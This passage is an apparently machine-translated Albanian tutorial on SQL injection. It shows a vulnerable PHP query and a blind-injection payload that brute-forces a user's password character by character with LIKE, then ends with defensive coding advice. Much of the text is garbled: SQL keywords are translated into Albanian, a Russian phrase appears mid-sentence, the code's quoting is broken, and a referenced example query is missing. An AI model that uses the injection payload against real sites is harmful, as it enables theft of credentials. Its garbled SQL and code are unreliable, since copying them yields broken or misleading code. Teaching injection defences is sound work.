Ne kemi parë shembullin më të thjeshtë, por në praktikë një pyetje e cenueshme mund të jetë më komplekse dhe të mos i shfaqë rezultatet e tij përdoruesit. Më pas, ne do të shqyrtojmë shembuj të injektimeve SQL në disa raste më komplekse, pa pretenduar plotësinë.

Injeksion në pyetje komplekse

Në shembullin më të thjeshtë, ishte e mundur të futej kodi në fund të pyetjes SQL. Në praktikë, në fund të një pyetjeje SQL mund të ketë kushte shtesë, operatorë të renditjes, grupime dhe konstruksione të tjera SQL. Në çdo rast specifik, sulmuesi do të përpiqet të vendosë një pjesë me qëllim të keq në atë mënyrë që kërkesa në tërësi të mbetet sintaksisht e saktë, por të kryejë një funksion të ndryshëm. Këtu do të shikojmë shembullin më të thjeshtë të një kërkese të cenueshme me një kusht shtesë.

Si rezultat, gjendja e moshës<35 nuk do të ndikojë në mostër, sepse Operatori OR ka një përparësi më të ulët se operatori AND, dhe WHERE nga pyetja e mësipërme mund të shkruhet ndryshe si WHERE (cityid="20" DHE 1 ) OSE ("1" DHE mosha<"35" ) (Mos harroni se shprehja WHERE 1 është gjithmonë e vërtetë). Si rezultat, të dyja linjat me cityid="20" dhe ato me moshë do t'i përshtaten gjendjes<35, причем наличие последних не обязательно.

Për pyetje komplekse, injeksionet e suksesshme SQL kërkojnë njëfarë kreativiteti, por mund të pritet që sulmuesit të kenë disa.

Rezultatet e pyetjes nuk i shfaqen përdoruesit

Mund të ndodhë që një pyetje, rezultatet e të cilit nuk i shfaqen përdoruesit, është e cenueshme. Kjo mund të jetë, për shembull, një kërkesë ndihmëse:

$sql = "ZGJIDH numrin (*)
NGA përdoruesit
WHERE userid=""
.$_GET [ "userid" ].""" ;

Pyetja e mësipërme thjesht kontrollon praninë e një përdoruesi me një userid të caktuar: nëse kthen ndonjë vlerë jozero, shfaqet profili i përdoruesit me userid-in përkatës, por nëse kthehet 0 (d.m.th., nuk ka përdorues që plotësojnë kriteret e kërkesës), shfaqet mesazhi "përdoruesi nuk u gjet".

Në këtë rast, fjalëkalimi (ose informacion tjetër) përcaktohet me forcë brutale. Sulmuesi kalon vargun si parametër userid 2" DHE fjalëkalimi LIKE "a%. Kërkesa përfundimtare:

SELECT numërimin (*) NGA përdoruesit WHERE userid="2" DHE fjalëkalimi si "a%"

Sulmuesi do të marrë "përdoruesi nuk u gjet" nëse fjalëkalimi nuk fillon me shkronjën "a", ose faqen standarde të profilit të përdoruesit, përndryshe. Shkronja e parë e fjalëkalimit përcaktohet me forcë brutale, pastaj e dyta, etj.

konkluzionet

  • Të gjitha pyetjet që përdorin të dhëna të jashtme duhet të mbrohen nga injeksionet SQL. Të dhënat e jashtme mund të transmetohen jo vetëm si parametra GET, por edhe duke përdorur metodën POST, të marra nga një COOKIE, nga faqet e palëve të treta ose nga një bazë të dhënash në të cilën përdoruesi kishte mundësinë të fuste informacionin.
  • Të gjithë parametrat numerikë duhet të konvertohen në mënyrë eksplicite në formë numerike duke përdorur funksionet intval () Dhe floatval ()
  • Të gjithë parametrat e vargut duhet të shmangen mysql_real_escape_string() dhe vendoseni në thonjëza.
  • Nëse ndërtimi i një injeksioni SQL është i vështirë, nuk duhet të prisni që sulmuesi nuk do të kuptojë se si ta bëjë atë. Kjo vlen veçanërisht për motorët, kodi burimor i të cilëve është publik.

Fat i mirë në ndërtimin e aplikacioneve të sigurta!